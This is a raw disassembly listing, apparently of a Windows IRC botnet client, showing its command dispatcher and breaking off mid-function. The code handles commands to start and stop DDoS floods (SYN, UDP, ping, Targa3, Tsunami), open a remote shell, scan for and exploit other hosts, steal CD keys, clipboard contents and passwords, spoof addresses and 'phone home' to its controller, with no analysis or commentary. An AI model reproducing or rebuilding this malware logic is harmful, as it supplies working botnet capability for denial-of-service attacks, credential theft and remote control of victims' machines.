		push	offset aTcpRedirect ; "TCP redirect"
		push	offset dword_42F9FC
		jmp	loc_40505B
; ---------------------------------------------------------------------------


loc_40372B:				; CODE XREF: sub_40274D+FC7j
		push	edi		; Str2
		push	offset aDdos_stop ; "ddos.stop"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_403751
		push	dword ptr [ebp+esi+4Ch+Args]
		push	0Dh
		push	offset aDdosFlood ; "DDoS flood"
		push	offset dword_42F9D8
		jmp	loc_40505B
; ---------------------------------------------------------------------------


loc_403751:				; CODE XREF: sub_40274D+FEDj
		push	edi		; Str2
		push	offset aSynstop	; "synstop"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_403777
		push	dword ptr [ebp+esi+4Ch+Args]
		push	0Eh
		push	offset aSynFlood ; "Syn	flood"
		push	offset dword_42F9B8
		jmp	loc_40505B
; ---------------------------------------------------------------------------


loc_403777:				; CODE XREF: sub_40274D+1013j
		push	edi		; Str2
		push	offset aSkysynstop ; "skysynstop"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40379D
		push	dword ptr [ebp+esi+4Ch+Args]
		push	10h
		push	offset aSkysynFlood ; "SkySyn flood"
		push	offset dword_42F98C
		jmp	loc_40505B
; ---------------------------------------------------------------------------


loc_40379D:				; CODE XREF: sub_40274D+1039j
		push	edi		; Str2
		push	offset aTarga3stop ; "targa3stop"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4037C3
		push	dword ptr [ebp+esi+4Ch+Args]
		push	11h
		push	offset aTarga3Flood ; "Targa3 flood"
		push	offset dword_42F960
		jmp	loc_40505B
; ---------------------------------------------------------------------------


loc_4037C3:				; CODE XREF: sub_40274D+105Fj
		push	edi		; Str2
		push	offset aWonkstop ; "wonkstop"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4037E9
		push	dword ptr [ebp+esi+4Ch+Args]
		push	12h
		push	offset aWonkFlood ; "Wonk flood"
		push	offset dword_42F93C
		jmp	loc_40505B
; ---------------------------------------------------------------------------


loc_4037E9:				; CODE XREF: sub_40274D+1085j
		push	edi		; Str2
		push	offset aPacketstop ; "packetstop"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_40391E
		mov	esi, dword ptr [ebp+esi+4Ch+Args]
		mov	edi, [ebp+4Ch+arg_4]
		push	esi		; Str
		push	0Dh		; int
		push	offset aDdosFlood ; "DDoS flood"
		push	offset dword_42F9D8 ; int
		push	1		; int
		push	[ebp+4Ch+var_4]	; int
		push	[ebp+4Ch+Format] ; int
		push	edi		; int
		call	sub_40B0BB
		push	esi		; Str
		push	0Eh		; int
		push	offset aSynFlood ; "Syn	flood"
		push	offset dword_42F9B8 ; int
		push	1		; int
		push	[ebp+4Ch+var_4]	; int
		push	[ebp+4Ch+Format] ; int
		push	edi		; int
		call	sub_40B0BB
		add	esp, 40h
		push	esi		; Str
		push	17h		; int
		push	offset aUdpFlood ; "UDP	flood"
		push	offset dword_42F918 ; int
		push	1		; int
		push	[ebp+4Ch+var_4]	; int
		push	[ebp+4Ch+Format] ; int
		push	edi		; int
		call	sub_40B0BB
		push	esi		; Str
		push	16h		; int
		push	offset aPingFlood ; "Ping flood"
		push	offset dword_42F900 ; int
		push	1		; int
		push	[ebp+4Ch+var_4]	; int
		push	[ebp+4Ch+Format] ; int
		push	edi		; int
		call	sub_40B0BB
		add	esp, 40h
		push	esi		; Str
		push	11h		; int
		push	offset aTarga3Flood ; "Targa3 flood"
		push	offset dword_42F960 ; int
		push	1		; int
		push	[ebp+4Ch+var_4]	; int
		push	[ebp+4Ch+Format] ; int
		push	edi		; int
		call	sub_40B0BB
		push	esi		; Str
		push	12h		; int
		push	offset aWonkFlood ; "Wonk flood"
		push	offset dword_42F93C ; int
		push	1		; int
		push	[ebp+4Ch+var_4]	; int
		push	[ebp+4Ch+Format] ; int
		push	edi		; int
		call	sub_40B0BB
		add	esp, 40h
		push	esi		; Str
		push	0Fh		; int
		push	offset aTsunamiFlood ; "Tsunami	flood"
		push	offset dword_42F8E0 ; int
		push	1		; int
		push	[ebp+4Ch+var_4]	; int
		push	[ebp+4Ch+Format] ; int
		push	edi		; int
		call	sub_40B0BB
		push	esi		; Str
		push	13h		; int
		push	offset aWisdomAttack ; "Wisdom attack"
		push	offset dword_42F8C0 ; int
		push	1		; int
		push	[ebp+4Ch+var_4]	; int
		push	[ebp+4Ch+Format] ; int
		push	edi		; int
		call	sub_40B0BB
		add	esp, 40h
		push	esi		; Str
		push	10h		; int
		push	offset aSkysynFlood ; "SkySyn flood"
		push	offset dword_42F98C ; int
		push	1		; int
		push	[ebp+4Ch+var_4]	; int
		push	[ebp+4Ch+Format] ; int
		push	edi		; int
		call	sub_40B0BB
		push	ebx		; int
		push	[ebp+4Ch+var_4]	; int
		push	offset unk_42F88C ; int
		push	[ebp+4Ch+Format] ; Str
		push	edi		; int
		call	sub_40123B
		add	esp, 34h
		jmp	loc_402B92
; ---------------------------------------------------------------------------


loc_40391E:				; CODE XREF: sub_40274D+10ABj
		push	edi		; Str2
		push	offset aTsunamistop ; "tsunamistop"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_403944
		push	dword ptr [ebp+esi+4Ch+Args]
		push	0Fh
		push	offset aTsunamiFlood ; "Tsunami	flood"
		push	offset dword_42F8E0
		jmp	loc_40505B
; ---------------------------------------------------------------------------


loc_403944:				; CODE XREF: sub_40274D+11E0j
		push	edi		; Str2
		push	offset aWisdomstop ; "wisdomstop"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40396A
		push	dword ptr [ebp+esi+4Ch+Args]
		push	13h
		push	offset aWisdomAttack ; "Wisdom attack"
		push	offset dword_42F8C0
		jmp	loc_40505B
; ---------------------------------------------------------------------------


loc_40396A:				; CODE XREF: sub_40274D+1206j
		push	edi		; Str2
		push	offset aUdpstop	; "udpstop"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_403990
		push	dword ptr [ebp+esi+4Ch+Args]
		push	17h
		push	offset aUdpFlood ; "UDP	flood"
		push	offset dword_42F918
		jmp	loc_40505B
; ---------------------------------------------------------------------------


loc_403990:				; CODE XREF: sub_40274D+122Cj
		push	edi		; Str2
		push	offset aPingstop ; "pingstop"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4039B6
		push	dword ptr [ebp+esi+4Ch+Args]
		push	16h
		push	offset aPingFlood ; "Ping flood"
		push	offset dword_42F900
		jmp	loc_40505B
; ---------------------------------------------------------------------------


loc_4039B6:				; CODE XREF: sub_40274D+1252j
		push	edi		; Str2
		push	offset aTftpstop ; "tftpstop"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4039DC
		push	dword ptr [ebp+esi+4Ch+Args]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42F844
		jmp	loc_40505B
; ---------------------------------------------------------------------------


loc_4039DC:				; CODE XREF: sub_40274D+1278j
		push	edi		; Str2
		push	offset aFindfilestop ; "findfilestop"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40504B
		push	edi		; Str2
		push	offset aFfstop	; "ffstop"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40504B
		push	edi		; Str2
		push	offset aProcsstop ; "procsstop"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_405039
		push	edi		; Str2
		push	offset aPsstop	; "psstop"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_405039
		push	edi		; Str2
		push	offset aClonestop ; "clonestop"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_403A56
		push	dword ptr [ebp+esi+4Ch+Args]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42F7F4
		jmp	loc_40505B
; ---------------------------------------------------------------------------


loc_403A56:				; CODE XREF: sub_40274D+12F2j
		push	edi		; Str2
		push	offset aSecurestop ; "securestop"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_403A7C
		push	dword ptr [ebp+esi+4Ch+Args]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42F7D0
		jmp	loc_40505B
; ---------------------------------------------------------------------------


loc_403A7C:				; CODE XREF: sub_40274D+1318j
		push	edi		; Str2
		push	offset aScanstop ; "scanstop"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_403AA2
		push	dword ptr [ebp+esi+4Ch+Args]
		push	0Bh
		push	offset aScan	; "Scan"
		push	offset dword_42F7B0
		jmp	loc_40505B
; ---------------------------------------------------------------------------


loc_403AA2:				; CODE XREF: sub_40274D+133Ej
		push	edi		; Str2
		push	offset aScanstats ; "scanstats"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_405026
		push	edi		; Str2
		push	offset aStats	; "stats"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_405026
		push	edi		; Str2
		push	offset aTransferstats ;	"transferstats"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_405013
		push	edi		; Str2
		push	offset aTrstats	; "trstats"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_405013
		push	edi		; Str2
		push	offset aConnectbacksta ; "connectbackstats"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_405000
		push	edi		; Str2
		push	offset aCbstats	; "cbstats"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_405000
		push	edi		; Str2
		push	offset aExploitlist ; "exploitlist"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404FED
		push	edi		; Str2
		push	offset aExplist	; "explist"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404FED
		push	edi		; Str2
		push	offset aReconnect ; "reconnect"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404FCC
		push	edi		; Str2
		push	offset aR	; "r"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404FCC
		push	edi		; Str2
		push	offset aDisconnect ; "disconnect"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404FAA
		push	edi		; Str2
		push	offset aDc	; "dc"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404FAA
		push	edi		; Str2
		push	offset aQuit_0	; "quit"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404F64
		push	edi		; Str2
		push	offset aQ	; "q"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404F64
		push	edi		; Str2
		push	offset aStatus	; "status"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404F29
		push	edi		; Str2
		push	offset aS_6	; "s"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404F29
		push	edi		; Str2
		push	offset aId	; "id"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404EF5
		push	edi		; Str2
		push	offset aI	; "i"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404EF5
		push	edi		; Str2
		push	offset aReboot	; "reboot"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_403C6B
		call	sub_41AEBB
		test	eax, eax
		mov	eax, offset asc_42F6EC ; "-"
		jnz	short loc_403C40
		mov	eax, offset unk_42F6C4


loc_403C40:				; CODE XREF: sub_40274D+14ECj
		push	eax		; Format
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		push	[ebp+4Ch+var_4]	; int
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_40123B
		add	esp, 1Ch
		jmp	loc_408D10
; ---------------------------------------------------------------------------


loc_403C6B:				; CODE XREF: sub_40274D+14DEj
		push	edi		; Str2
		push	offset aThreads	; "threads"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404E1D
		push	edi		; Str2
		push	offset aT	; "t"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404E1D
		push	edi		; Str2
		push	offset aAliases	; "aliases"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404E00
		push	edi		; Str2
		push	offset aAl	; "al"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404E00
		push	edi		; Str2
		push	offset aLog	; "log"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404D17
		push	edi		; Str2
		push	offset aLg	; "lg"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404D17
		push	edi		; Str2
		push	offset aClearlog ; "clearlog"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404CFE
		push	edi		; Str2
		push	offset aClg	; "clg"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404CFE
		push	edi		; Str2
		push	offset aNetinfo	; "netinfo"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404CCF
		push	edi		; Str2
		push	offset aNi	; "ni"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404CCF
		push	edi		; Str2
		push	offset aSysinfo	; "sysinfo"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404CA4
		push	edi		; Str2
		push	offset aSi	; "si"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404CA4
		push	edi		; Str2
		push	offset aRemove	; "remove"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404C6F
		push	edi		; Str2
		push	offset aRm	; "rm"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404C6F
		push	edi		; Str2
		push	offset aProcs	; "procs"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404B59
		push	edi		; Str2
		push	offset aPs	; "ps"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404B59
		push	edi		; Str2
		push	offset aGetcdkeys ; "getcdkeys"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404B35
		push	edi		; Str2
		push	offset aKey	; "key"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404B35
		push	edi		; Str2
		push	offset aUptime	; "uptime"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404AB7
		push	edi		; Str2
		push	offset aUp	; "up"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404AB7
		push	edi		; Str2
		push	offset aDriveinfo ; "driveinfo"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404AA0
		push	edi		; Str2
		push	offset aDrv	; "drv"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404AA0
		push	edi		; Str2
		push	offset aTestdlls ; "testdlls"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404A8A
		push	edi		; Str2
		push	offset aDll	; "dll"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404A8A
		push	edi		; Str2
		push	offset aOpencmd	; "opencmd"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404A1C
		push	edi		; Str2
		push	offset aOcmd	; "ocmd"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404A1C
		push	edi		; Str2
		push	offset aCmdstop	; "cmdstop"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_403EB3
		push	dword ptr [ebp+esi+4Ch+Args]
		push	0Ah
		push	offset aRemoteShell ; "Remote shell"
		push	offset dword_42F5F4
		jmp	loc_40505B
; ---------------------------------------------------------------------------


loc_403EB3:				; CODE XREF: sub_40274D+174Fj
		push	edi		; Str2
		push	offset aWho	; "who"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_403FC1
		cmp	[ebp+4Ch+var_C], ebx
		jnz	short loc_403EE4
		push	ebx		; int
		push	[ebp+4Ch+var_4]	; int
		push	offset dword_42F5DC ; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_40123B
		add	esp, 14h


loc_403EE4:				; CODE XREF: sub_40274D+177Ej
		mov	eax, [ebp+4Ch+Str1]
		mov	[ebp+4Ch+var_24], ebx
		mov	[ebp+4Ch+var_14], eax
		jmp	short loc_403EF2
; ---------------------------------------------------------------------------


loc_403EEF:				; CODE XREF: sub_40274D+17EEj
		mov	eax, [ebp+4Ch+var_14]


loc_403EF2:				; CODE XREF: sub_40274D+17A0j
		cmp	[eax], bl
		jz	short loc_403EF9
		inc	eax
		jmp	short loc_403EFE
; ---------------------------------------------------------------------------


loc_403EF9:				; CODE XREF: sub_40274D+17A7j
		mov	eax, offset aEmpty ; "<Empty>"


loc_403EFE:				; CODE XREF: sub_40274D+17AAj
		push	eax
		push	[ebp+4Ch+var_24]
		lea	eax, [ebp+4Ch+Dst]
		push	offset aD_S	; "%d. %s"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		push	[ebp+4Ch+var_4]	; int
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_40123B
		add	[ebp+4Ch+var_14], 80h
		add	esp, 24h
		inc	[ebp+4Ch+var_24]
		cmp	[ebp+4Ch+var_24], 3
		jl	short loc_403EEF
		push	offset unk_42F5A8
		call	sub_417D70
		pop	ecx


loc_403F48:				; CODE XREF: sub_40274D+1A74j
					; sub_40274D+2D0Aj
		mov	eax, dword ptr [ebp+esi+4Ch+Args]
		cmp	eax, ebx
		mov	[ebp+4Ch+var_8], eax
		jz	loc_402B92
		push	edi		; Str2
		push	offset aSpoof	; "spoof"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_405563
		mov	esi, [ebp+4Ch+var_8]
		push	offset Str2	; "off"
		push	esi		; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_405469
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42F574 ; "-"
		push	eax		; Dest
		mov	dword_4D5898, ebx
		call	_sprintf
		pop	ecx
		pop	ecx


loc_403F9D:				; CODE XREF: sub_40274D+2DBDj
					; sub_40274D+2DE3j ...
		cmp	[ebp+4Ch+var_C], ebx
		jnz	loc_404979
		push	ebx		; int
		push	[ebp+4Ch+var_4]	; int
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_40123B
		jmp	loc_409FDB
; ---------------------------------------------------------------------------


loc_403FC1:				; CODE XREF: sub_40274D+1775j
		push	edi		; Str2
		push	offset aGetclip	; "getclip"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4049DC
		push	edi		; Str2
		push	offset aGc	; "gc"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4049DC
		push	edi		; Str2
		push	offset aFlusharp ; "flusharp"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4049BF
		push	edi		; Str2
		push	offset aFarp	; "farp"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4049BF
		push	edi		; Str2
		push	offset aFlushdns ; "flushdns"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404981
		push	edi		; Str2
		push	offset aFdns	; "fdns"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404981
		push	edi		; Str2
		push	offset aCurrentip ; "currentip"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40494B
		push	edi		; Str2
		push	offset aCip	; "cip"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40494B
		push	edi		; Str2
		push	offset aRloginserver ; "rloginserver"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404809
		push	edi		; Str2
		push	offset aRlogin	; "rlogin"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404809
		push	edi		; Str2
		push	offset aHttpserver ; "httpserver"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40469D
		push	edi		; Str2
		push	offset aHttp	; "http"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40469D
		push	edi		; Str2
		push	offset aTftpserver ; "tftpserver"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404575
		push	edi		; Str2
		push	offset aTftp	; "tftp"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404575
		push	edi		; Str2
		push	offset aCrash	; "crash"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40414A
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42F4CC ; "-"
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+4Ch+var_C], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_404129
		push	ebx		; int
		push	[ebp+4Ch+var_4]	; int
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_40123B
		add	esp, 14h


loc_404129:				; CODE XREF: sub_40274D+19C1j
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Str2
		call	sub_417D70
		mov	[esp+5DA0h+var_5DEC], offset aCrash ; "crash"
		push	[ebp+esi+4Ch+var_90] ; Str1
		call	_strcmp
		jmp	loc_40A216
; ---------------------------------------------------------------------------


loc_40414A:				; CODE XREF: sub_40274D+19A9j
		push	edi		; Str2
		push	offset aScanall	; "scanall"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404279
		push	edi		; Str2
		push	offset aSa	; "sa"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404279
		push	edi		; Str2
		push	offset aPhonehome ; "phonehome"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4041A1
		lea	eax, [ebp+4Ch+var_D0]
		push	eax		; Args
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
		push	[ebp+4Ch+arg_4]	; int
		call	sub_4011F5


loc_404199:				; CODE XREF: sub_40274D+418j
		add	esp, 0Ch
		jmp	loc_402B92
; ---------------------------------------------------------------------------


loc_4041A1:				; CODE XREF: sub_40274D+1A36j
		push	edi		; Str2
		push	offset aFindpass ; "findpass"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_4041C7
		push	edi		; Str2
		push	offset aFp	; "fp"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_403F48


loc_4041C7:				; CODE XREF: sub_40274D+1A63j
		push	[ebp+4Ch+Format] ; Format
		lea	eax, [ebp+4Ch+var_F5C]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+4Ch+arg_4]
		mov	[ebp+4Ch+var_F60], eax
		mov	eax, [ebp+4Ch+var_4]
		mov	[ebp+4Ch+var_ED8], eax
		mov	eax, [ebp+4Ch+var_C]
		push	offset asc_42F45C ; "-"
		mov	[ebp+4Ch+var_ED4], eax
		lea	eax, [ebp+4Ch+Dst]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	ebx		; int
		lea	eax, [ebp+4Ch+Dst]
		push	26h		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 24h
		mov	[ebp+4Ch+var_EDC], eax
		lea	eax, [ebp+4Ch+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+4Ch+var_F60]
		push	eax
		push	offset sub_419FFD
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+4Ch+var_EDC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	short loc_40426C
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42F420
		jmp	loc_408D01
; ---------------------------------------------------------------------------


loc_404264:				; CODE XREF: sub_40274D+1B25j
		push	32h
		call	ds:dword_42B014	; Sleep


loc_40426C:				; CODE XREF: sub_40274D+1B04j
		cmp	[ebp+4Ch+var_ED0], ebx
		jz	short loc_404264
		jmp	loc_408D10
; ---------------------------------------------------------------------------


loc_404279:				; CODE XREF: sub_40274D+1A0Cj
					; sub_40274D+1A21j
		mov	al, byte_43DF5A
		cmp	al, bl
		mov	[ebp+4Ch+var_14], ebx
		mov	edx, offset byte_43DF5A
		jz	loc_402B92
		mov	ecx, edx


loc_404290:				; CODE XREF: sub_40274D+1B4Bj
		inc	[ebp+4Ch+var_14]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_404290
		cmp	al, bl
		jz	loc_402B92
		mov	[ebp+4Ch+var_20], edx
		mov	esi, offset a_fast__1 ;	"#.fast.#"


loc_4042AA:				; CODE XREF: sub_40274D+1E01j
		push	0Bh
		call	sub_40B075
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+4Ch+var_14]
		add	eax, ecx
		cmp	eax, 1F4h
		jle	short loc_4042F6
		push	ecx
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42F3E0 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		push	[ebp+4Ch+var_4]	; int
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_40123B
		add	esp, 20h
		jmp	loc_404545
; ---------------------------------------------------------------------------


loc_4042F6:				; CODE XREF: sub_40274D+1B77j
		or	[ebp+4Ch+var_738], 0FFFFFFFFh
		cmp	dword_43D878, ebx
		mov	[ebp+4Ch+var_73C], 64h
		mov	[ebp+4Ch+var_750], 5
		mov	[ebp+4Ch+var_74C], 320h
		mov	[ebp+4Ch+var_14], ebx
		jz	short loc_404367
		mov	edi, offset dword_43D878


loc_40432B:				; CODE XREF: sub_40274D+1BFCj
		mov	eax, [ebp+4Ch+var_20]
		add	eax, 0FFFFFFF6h
		push	eax		; Str2
		lea	eax, [edi-28h]
		push	eax		; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40434D
		inc	[ebp+4Ch+var_14]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_40432B
		jmp	short loc_404367
; ---------------------------------------------------------------------------


loc_40434D:				; CODE XREF: sub_40274D+1BF2j
		mov	eax, [ebp+4Ch+var_14]
		mov	ecx, eax
		shl	ecx, 6
		mov	ecx, dword_43D878[ecx]
		mov	[ebp+4Ch+var_754], ecx
		mov	[ebp+4Ch+var_738], eax


loc_404367:				; CODE XREF: sub_40274D+1BD7j
					; sub_40274D+1BFEj
		cmp	[ebp+4Ch+var_754], ebx
		jz	loc_40456B
		push	10h
		pop	edi
		lea	eax, [ebp+4Ch+var_2E0]
		push	eax
		lea	eax, [ebp+4Ch+var_314]
		push	eax
		push	[ebp+4Ch+arg_4]
		mov	[ebp+4Ch+var_2E0], edi
		call	dword_444068	; getsockname
		mov	al, [ebp+4Ch+var_907]
		neg	al
		push	edi
		sbb	eax, eax
		and	eax, 0FFFF0100h
		add	eax, 0FFFFh
		and	[ebp+4Ch+Count], eax
		push	[ebp+4Ch+Count]	; Count
		call	dword_444188	; inet_ntoa
		push	eax		; Source
		lea	eax, [ebp+4Ch+var_868]
		push	eax		; Dest
		call	_strncpy
		xor	eax, eax
		cmp	[ebp+4Ch+var_907], bl
		push	30h		; Ch
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+4Ch+var_868]
		push	eax		; Str
		call	_strrchr
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+4Ch+arg_0+3], bl
		jle	short loc_404410


loc_4043EE:				; CODE XREF: sub_40274D+1CC1j
		cmp	eax, ebx
		jz	short loc_404410
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+4Ch+var_868]
		push	30h		; Ch
		push	eax		; Str
		call	_strrchr
		inc	byte ptr [ebp+4Ch+arg_0+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+4Ch+arg_0+3]
		cmp	ecx, edi
		jl	short loc_4043EE


loc_404410:				; CODE XREF: sub_40274D+1C9Fj
					; sub_40274D+1CA3j
		mov	eax, [ebp+4Ch+arg_4]
		push	[ebp+4Ch+Format] ; Format
		mov	[ebp+4Ch+var_758], eax
		mov	eax, [ebp+4Ch+var_4]
		mov	[ebp+4Ch+var_730], eax
		mov	eax, [ebp+4Ch+var_C]
		mov	[ebp+4Ch+var_72C], eax
		mov	edi, 80h
